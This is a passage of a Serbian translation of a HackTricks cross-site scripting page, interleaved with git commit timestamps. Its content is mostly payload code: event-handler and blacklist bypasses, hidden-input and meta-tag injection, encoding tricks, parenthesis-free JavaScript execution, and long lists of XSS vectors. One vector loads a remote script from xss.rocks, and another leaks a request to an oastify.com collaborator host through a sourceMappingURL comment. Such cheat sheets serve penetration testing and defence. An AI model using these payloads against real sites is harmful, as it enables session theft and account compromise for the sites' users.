2021-10-18 11:21:18 +00:00
{% content-ref url="../reverse-tab-nabbing.md" %}
[reverse-tab-nabbing.md ](../reverse-tab-nabbing.md )
{% endcontent-ref %}
2021-05-01 15:23:19 +00:00
2024-03-17 16:33:13 +00:00
### o Bypass događajnih rukovaoca
2021-06-02 22:22:26 +00:00
2024-03-17 16:33:13 +00:00
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne ** "on" događajne rukovaoce**.\
U slučaju da postoji neka crna lista koja sprečava kreiranje ovih događajnih rukovaoca, možete probati sledeće obilaske:
2021-06-02 22:22:26 +00:00
```javascript
< svg onload % 09 = alert(1) > //No safari
< svg % 09onload = alert(1) >
< svg % 09onload % 20 = alert(1) >
< svg onload % 09 % 20 % 28 % 2c % 3b = alert(1) >
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
2024-03-17 16:33:13 +00:00
### XSS u "Neprobojivim tagovima" (skriveni input, link, kanonski, meta)
2021-06-02 22:22:26 +00:00
2024-03-17 16:33:13 +00:00
Sa [**ovde** ](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags ) **sada je moguće zloupotrebiti skrivene inpute sa:**
2023-07-28 11:44:45 +00:00
```html
< button popvertarget = "x" > Click me< / button >
< input type = "hidden" value = "y" popover id = "x" onbeforetoggle = alert(1) >
```
2024-03-17 16:33:13 +00:00
I u **meta oznakama** :
2023-07-28 11:44:45 +00:00
```html
<!-- Injection inside meta attribute -->
< meta name = "apple-mobile-web-app-title" content = "" Twitter popover id = "newsletter" onbeforetoggle = alert(2) / >
<!-- Existing target -->
< button popovertarget = "newsletter" > Subscribe to newsletter< / button >
< div popover id = "newsletter" > Newsletter popup< / div >
```
2024-03-17 16:33:13 +00:00
Od [**ovde** ](https://portswigger.net/research/xss-in-hidden-input-fields ): Možete izvršiti **XSS payload unutar skrivenog atributa** , pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera** . Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X** , a na OS X je **CTRL+ALT+X** . Možete specificirati drugu kombinaciju tastera koristeći drugi taster u atributu za pristup ključu. Evo vektora:
2020-07-15 15:43:14 +00:00
```markup
< input type = "hidden" accesskey = "X" onclick = "alert(1)" >
```
2024-03-17 16:33:13 +00:00
**XSS payload će biti nešto poput ovoga: `" accesskey="x" onclick="alert(1)" x="` **
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
### Bypass-ovi crne liste
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se **nazad da biste saznali gde možete koristiti:**
2023-02-07 10:56:16 +00:00
2024-02-18 14:58:46 +00:00
* **HTML enkodiranje (HTML tagovi)**
* **Unicode enkodiranje (može biti validan JS kod):** `\u0061lert(1)`
* **URL enkodiranje**
* **Heksadecimalno i oktalno enkodiranje**
* **Data enkodiranje**
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
**Bypass-ovi za HTML tagove i atribute**
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Pročitajte [Bypass-ove crne liste prethodne sekcije ](./#blacklist-bypasses ).
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
**Bypass-ovi za JavaScript kod**
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Pročitajte [JavaScript bypass crne liste sledeće sekcije ](./#javascript-bypass-blacklists-techniques ).
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### CSS-Gadžeti
2022-02-22 10:32:26 +00:00
2024-03-17 16:33:13 +00:00
Ako pronađete **XSS u veoma malom delu** veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati **modifikovati prostor koji element zauzima** kako biste maksimizirali šanse da se link aktivira.
2022-02-22 10:32:26 +00:00
2024-02-23 16:45:30 +00:00
Na primer, možete dodati neki stil u element poput: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
2022-02-22 10:32:26 +00:00
2024-02-18 14:58:46 +00:00
Međutim, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadžete, pa ako pronađete, na primer
2022-02-22 10:32:26 +00:00
> .test {display:block; color: blue; width: 100%\}
2024-02-10 13:11:20 +00:00
i
2022-02-22 10:32:26 +00:00
> \#someid {top: 0; font-family: Tahoma;}
2024-02-10 13:11:20 +00:00
Sada možete modifikovati naš link i dovesti ga u oblik
2022-02-22 10:32:26 +00:00
2024-02-05 02:29:11 +00:00
> \<a href="" id=someid class=test onclick=alert() a="">
2022-02-22 10:32:26 +00:00
2024-02-10 13:11:20 +00:00
Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703 ](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703 )
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
## Ubacivanje unutar JavaScript koda
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
U ovim slučajevima, **vaš unos** će biti **reflektovan unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
### Bekstvo \<script> taga
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Ako je vaš kod ubačen unutar `<script> [...] var input = 'reflektovani podaci' [...] </script>` možete lako **izbeći zatvaranje `<script>`** taga:
2020-07-15 15:43:14 +00:00
```javascript
< / script > < img src = 1 onerror = alert(document.domain) >
```
2024-03-17 16:33:13 +00:00
Napomena da u ovom primeru **čak nismo zatvorili jednostruki navodnik** . Ovo je zato što se **parsiranje HTML-a prvo vrši od strane pregledača** , što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti se vrši tek nakon toga.
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Unutar JS koda
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Ako se `< >` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS** . Važno je **popraviti JS sintaksu** , jer ako postoje greške, JS kod neće biti izvršen:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
2024-02-18 14:58:46 +00:00
### Šablonski literali \`\`
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Da biste konstruisali **stringove** osim jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** ** ` `` ` ** . Ovo je poznato kao šablonski literali jer omogućavaju da se **ugrađeni JS izrazi** koriste pomoću sintakse `${ ... }` .\
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da biste izvršili **proizvoljni JS kod** :
2023-02-07 10:56:16 +00:00
2024-02-18 14:58:46 +00:00
Ovo se može **zloupotrebiti** korišćenjem:
2023-02-07 10:56:16 +00:00
```javascript
`${alert(1)}`
`${` ${`${`${alert(1)}`}`}`}`
```
```````````````javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
```````````````
2024-02-18 14:58:46 +00:00
### Izvršenje enkodiranog koda
2021-06-04 17:27:53 +00:00
```markup
2021-06-02 22:22:26 +00:00
< script > \u0061 lert ( 1 )</ script >
2021-06-04 15:00:45 +00:00
< svg > < script > a l e r t & l p a r ; ' 1 ' & r p a r ;
2021-06-04 17:27:53 +00:00
< svg > < script > & # x61 ; & # x6C ; & # x65 ; & # x72 ; & # x74 ; & # x28 ; & # x31 ; & # x29 ; < / script > < / svg > <!-- The svg tags are neccesary
< iframe srcdoc = "<SCRIPT>alert(1)</iframe>" >
2021-06-02 22:22:26 +00:00
```
2024-03-17 16:33:13 +00:00
### Unicode Encode JS izvršenje
2023-02-07 10:56:16 +00:00
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
```
2024-02-10 13:11:20 +00:00
### Tehnike za zaobilaženje crnih lista JavaScript-a
2023-02-07 10:56:16 +00:00
2024-03-17 16:33:13 +00:00
**Stringovi**
2020-07-15 15:43:14 +00:00
```javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
2023-02-07 10:56:16 +00:00
"\h\e\l\l\o"
2020-07-15 15:43:14 +00:00
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
2021-06-02 22:22:26 +00:00
"\a\l\ert\(1\)"
2020-07-15 15:43:14 +00:00
atob("dGhpc2lzYXN0cmluZw==")
2021-06-04 17:18:34 +00:00
eval(8680439..toString(30))(983801..toString(36))
2020-07-15 15:43:14 +00:00
```
2024-02-18 14:58:46 +00:00
**Posebni escape-ovi**
2023-02-07 10:56:16 +00:00
```javascript
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
```
2024-02-10 13:11:20 +00:00
**Zamene razmaka unutar JS koda**
2020-07-15 15:43:14 +00:00
```javascript
< TAB >
/**/
```
2024-03-17 16:33:13 +00:00
**JavaScript komentari (iz trika o** [**JavaScript komentarima** ](./#javascript-comments ) ** )**
2020-07-15 15:43:14 +00:00
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
2023-03-03 17:26:17 +00:00
<!-- This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
2020-07-15 15:43:14 +00:00
```
2024-03-17 16:33:13 +00:00
**JavaScript nove linije (iz trika** [**JavaScript nove linije** ](./#javascript-new-lines ) ** )**
2020-07-15 15:43:14 +00:00
```javascript
//Javascript interpret as new line these chars:
2023-03-03 17:26:17 +00:00
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
2024-02-10 13:11:20 +00:00
**JavaScript razmaci**
2023-03-03 17:26:17 +00:00
```javascript
log=[];
function funct(){}
2024-02-10 13:11:20 +00:00
for(let i=0;i< =0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
2023-03-03 17:26:17 +00:00
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
< img / src / onerror = alert(1) >
```
2024-02-10 13:11:20 +00:00
**Javascript unutar komentara**
2023-03-03 17:26:17 +00:00
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
2020-07-15 15:43:14 +00:00
```
2024-02-10 13:11:20 +00:00
**JavaScript bez zagrada**
2023-02-07 10:56:16 +00:00
````javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
2024-02-10 13:11:20 +00:00
// or any DOMXSS sink such as location=name
2023-02-07 10:56:16 +00:00
// Backtips
2024-02-10 13:11:20 +00:00
// Backtips pass the string as an array of lenght 1
2023-02-07 10:56:16 +00:00
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
2024-02-10 13:11:20 +00:00
// To pass several arguments you can use
2023-02-07 10:56:16 +00:00
function btt(){
2024-02-10 13:11:20 +00:00
console.log(arguments);
2023-02-07 10:56:16 +00:00
}
btt`${'arg1'}${'arg2'}${'arg3'}`
2024-02-10 13:11:20 +00:00
//It's possible to construct a function and call it
2023-02-07 10:56:16 +00:00
Function`x${'alert(1337)'}x```
2024-02-10 13:11:20 +00:00
// .replace can use regexes and call a function if something is found
2023-02-07 10:56:16 +00:00
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
2024-02-10 13:11:20 +00:00
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
2023-02-07 10:56:16 +00:00
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
2024-02-10 13:11:20 +00:00
// Using Reflect.apply to call any function with any argumnets
2023-02-07 10:56:16 +00:00
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
2024-02-10 13:11:20 +00:00
// Using Reflect.set to call set any value to a variable
2023-02-07 10:56:16 +00:00
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
2024-02-10 13:11:20 +00:00
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
2023-02-07 10:56:16 +00:00
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
< img src = x onerror = "window.onerror=eval;throw'=alert \x281 \x29'" >
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
2024-02-10 13:11:20 +00:00
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
2023-02-07 10:56:16 +00:00
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
2024-02-10 13:11:20 +00:00
// optional exception variables inside a catch clause.
2023-02-07 10:56:16 +00:00
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
2024-02-10 13:11:20 +00:00
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
2023-02-07 10:56:16 +00:00
````
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md ](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md )
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix ](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix )
2024-02-10 13:11:20 +00:00
**Proizvoljan poziv funkcije (alert)**
2021-10-18 11:21:18 +00:00
````javascript
2021-06-02 22:22:26 +00:00
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
2021-06-07 22:45:34 +00:00
[]["constructor"]["constructor"]`$${alert()}```
2023-03-03 17:26:17 +00:00
import('data:text/javascript,alert(1)')
2021-06-02 22:22:26 +00:00
//General function executions
2020-07-15 15:43:14 +00:00
`` //Can be use as parenthesis
alert`document.cookie`
2024-02-10 13:11:20 +00:00
alert(document['cookie'])
with(document)alert(cookie)
2020-07-15 15:43:14 +00:00
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
2021-02-25 11:39:28 +00:00
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
2021-06-02 22:22:26 +00:00
< svg > < animate onbegin = alert() attributeName = x > < / svg >
2021-10-18 11:21:18 +00:00
````
2024-02-10 13:11:20 +00:00
## **DOM ranjivosti**
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Postoji **JS kod** koji koristi **nesigurne podatke kontrolisane od strane napadača** poput `location.href` . Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.\
**Zbog proširenja objašnjenja o** [**DOM ranjivostima, premješteno je na ovu stranicu** ](dom-xss.md )**:**
2021-05-27 11:59:23 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="dom-xss.md" %}
[dom-xss.md ](dom-xss.md )
{% endcontent-ref %}
2021-05-27 11:59:23 +00:00
2024-02-18 14:58:46 +00:00
Tamo ćete pronaći detaljno **objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti** .\
2024-02-10 13:11:20 +00:00
Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnjenje o [**DOM Clobbering napadima** ](dom-xss.md#dom-clobbering ).
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
## Ostali Bypass-ovi
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
### Normalizovani Unicode
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Možete provjeriti da li su **reflektovane vrijednosti** **normalizovane u Unicode-u** na serveru (ili na klijentskoj strani) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. [**Pronađite primjer ovdje** ](../unicode-injection/#xss-cross-site-scripting ).
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
2020-07-15 15:43:14 +00:00
```javascript
">< svg / onload = confirm(1) > "@x.y
```
2024-02-23 16:45:30 +00:00
### Bypass za Ruby-On-Rails
2020-07-15 15:43:14 +00:00
2024-03-17 16:33:13 +00:00
Zbog **RoR masovnog dodeljivanja** navodnici se ubacuju u HTML, a zatim se zaobilazi ograničenje navodnika i mogu se dodati dodatna polja (onfocus) unutar taga.\
2024-02-18 14:58:46 +00:00
Primer obrasca ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
contact[email] onfocus=javascript:alert('xss') autofocus a=a& form_type[a]aaa
```
2024-02-23 16:45:30 +00:00
Par "Ključ","Vrednost" će biti vraćen kao:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
{" onfocus=javascript:alert(' xss' ) autofocus a"=>"a"}
```
2024-02-10 13:11:20 +00:00
### Posebne kombinacije
2020-07-15 15:43:14 +00:00
```markup
< iframe / src = "data:text/html,<svg onload=alert(1)>" >
< input type = image src onerror = "prompt(1)" >
< svg onload = alert(1)//
< img src = "/" = _ = " title=" onerror = 'prompt(1)' " >
< img src = '1' onerror = 'alert(0)' <
< script x > a l e r t ( 1 ) < / s c r i p t 1 = 2
< script x > a l e r t ( ' X S S ' ) < s c r i p t y >
< svg / onload = location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
2021-06-02 16:32:07 +00:00
< svg / / / / / / / / onload = alert(1) >
< svg id = x;onload=alert(1) >
< svg id = `x`onload=alert(1) >
2020-07-15 15:43:14 +00:00
< img src = 1 alt = al lang = ert onerror = top[alt+lang](0) >
< script > $ = 1 , alert ( $ ) < / script >
< script ~ ~ ~ > c o n f i r m ( 1 ) < / s c r i p t ~ ~ ~ >
< script > $ = 1 , \u0061 lert ( $ )</ script >
<< /script/script>< script > eval ( ' \\u' + '0061' + 'lert(1)' ) / / </ script >
<< /script/script>< script ~~~ > \u0061lert(1)</script ~~~>
< / style > < / scRipt > < scRipt > alert ( 1 ) < / scRipt >
< img src = x:prompt(eval(alt)) onerror = eval(src) alt = String.fromCharCode(88,83,83) >
< svg > < x > < script > a l e r t ( ' 1 ' & # 4 1 < / x >
< iframe src = "" / srcdoc = '<svg onload=alert(1)>' >
2021-06-02 22:22:26 +00:00
< svg > < animate onbegin = alert() attributeName = x > < / svg >
2020-07-15 15:43:14 +00:00
< img / id = "alert('XSS') \"/alt= \"/ \"src= \"/ \"onerror=eval(id) >
2023-05-03 17:27:46 +00:00
< img src = 1 onerror = "s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);" >
2023-10-16 21:06:07 +00:00
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
2020-07-15 15:43:14 +00:00
```
2024-02-18 14:58:46 +00:00
### XSS sa ubacivanjem zaglavlja u 302 odgovoru
2020-07-15 15:43:14 +00:00
2024-02-18 14:58:46 +00:00
Ako otkrijete da možete **ubaciti zaglavlja u 302 Redirect odgovor** , možete pokušati **naterati pregledač da izvrši proizvoljni JavaScript** . Ovo nije **trivijalno** jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je samo XSS payload beskoristan.
2020-10-16 10:44:40 +00:00
2024-02-23 16:45:30 +00:00
U [**ovom izveštaju** ](https://www.gremwell.com/firefox-xss-302 ) i [**ovom** ](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/ ) možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da pregleda i izvrši XSS payload unutar tela.
Prošli poznati protokoli: `mailto://` , `//x:1/` , `ws://` , `wss://` , _prazno zaglavlje Lokacija_ , `resource://` .
2020-10-16 10:44:40 +00:00
2024-02-10 13:11:20 +00:00
### Samo slova, brojevi i tačke
2022-06-23 12:12:25 +00:00
2024-02-23 16:45:30 +00:00
Ako možete naznačiti **callback** koji će JavaScript **izvršiti** ograničen na ove karaktere, [**pročitajte ovaj odeljak ovog posta** ](./#javascript-function ) da biste saznali kako iskoristiti ovaj ponašanje.
2022-06-23 12:12:25 +00:00
2024-02-23 16:45:30 +00:00
### Validni `<script>` Content-Type za XSS
2023-01-05 13:05:03 +00:00
2024-02-23 16:45:30 +00:00
(Od [**ovde** ](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/ )) Ako pokušate učitati skript sa **content-type** -om poput `application/octet-stream` , Chrome će prikazati sledeću grešku:
2023-01-05 13:05:03 +00:00
> Refused to execute script from ‘ [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘ application/octet-stream’ ) is not executable, and strict MIME type checking is enabled.
2024-02-18 14:58:46 +00:00
Jedini **Content-Type** -ovi koji će podržati Chrome da pokrene **učitanu skriptu** su oni unutar konstante ** `kSupportedJavascriptTypes` ** sa [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc ](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc )
2023-01-05 13:05:03 +00:00
```c
const char* const kSupportedJavascriptTypes[] = {
2024-02-10 13:11:20 +00:00
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
2023-01-05 13:05:03 +00:00
};
```
2024-02-18 14:58:46 +00:00
### Vrste skriptova za XSS
2023-01-05 13:05:03 +00:00
2024-02-18 14:58:46 +00:00
(Od [**ovde** ](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/ )) Dakle, koje vrste mogu biti naznačene za učitavanje skripta?
2023-01-05 13:05:03 +00:00
```html
< script type = "???" > < / script >
```
2024-02-10 13:11:20 +00:00
Odgovor je:
2023-01-05 13:05:03 +00:00
2024-02-23 16:45:30 +00:00
* **modul** (podrazumevano, ništa posebno za objašnjavanje)
* [**webbundle** ](https://web.dev/web-bundles/ ): Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u ** `.wbn` ** fajl.
2023-01-05 13:05:03 +00:00
```html
< script type = "webbundle" >
{
2024-02-10 13:11:20 +00:00
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
2023-01-05 13:05:03 +00:00
}
< / script >
The resources are loaded from the source .wbn, not accessed via HTTP
```
2024-02-10 13:11:20 +00:00
* [**importmap** ](https://github.com/WICG/import-maps )**:** Omogućava poboljšanje sintakse uvoza
2023-01-05 13:05:03 +00:00
```html
< script type = "importmap" >
{
2024-02-10 13:11:20 +00:00
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
2023-01-05 13:05:03 +00:00
}
< / script >
<!-- With importmap you can do the following -->
< script >
import moment from "moment";
import { partition } from "lodash";
< / script >
```
2024-03-17 16:33:13 +00:00
Ovo ponašanje je korišćeno u [**ovom writeup-u** ](https://github.com/zwade/yaca/tree/master/solution ) da bi se preslikala biblioteka na eval kako bi se zloupotrebila i izazvala XSS.
2023-01-05 13:05:03 +00:00
2024-02-18 14:58:46 +00:00
* [**speculationrules** ](https://github.com/WICG/nav-speculation )**:** Ova funkcija je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
2023-01-05 13:05:03 +00:00
```html
< script type = "speculationrules" >
{
2024-02-10 13:11:20 +00:00
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
2023-01-05 13:05:03 +00:00
}
< / script >
```
2024-02-18 14:58:46 +00:00
### Vrste web sadržaja za XSS
2023-01-05 13:05:03 +00:00
2024-03-17 16:33:13 +00:00
(Sa [**ovde** ](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/ )) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima:
2023-01-05 13:05:03 +00:00
* text/html
* application/xhtml+xml
* application/xml
* text/xml
* image/svg+xml
2024-02-18 14:58:46 +00:00
* text/plain (?? nije na listi, ali mislim da sam ovo video na CTF-u)
2024-02-10 13:11:20 +00:00
* application/rss+xml (isključeno)
* application/atom+xml (isključeno)
2023-01-05 13:05:03 +00:00
2024-03-17 16:33:13 +00:00
U drugim pregledačima se mogu koristiti i drugi ** `Content-Types` ** za izvršavanje proizvoljnog JS koda, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md ](https://github.com/BlackFan/content-type-research/blob/master/XSS.md )
2023-01-05 13:05:03 +00:00
2024-02-18 14:58:46 +00:00
### xml Tip sadržaja
2023-03-03 17:26:17 +00:00
2024-03-17 16:33:13 +00:00
Ako stranica vraća tip sadržaja text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:
2023-03-03 17:26:17 +00:00
```xml
< xml >
< text > hello< img src = "1" onerror = "alert(1)" xmlns = "http://www.w3.org/1999/xhtml" / > < / text >
< / xml >
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
2024-02-18 14:58:46 +00:00
### Posebni obrasci zamene
2023-03-03 17:26:17 +00:00
2024-03-17 16:33:13 +00:00
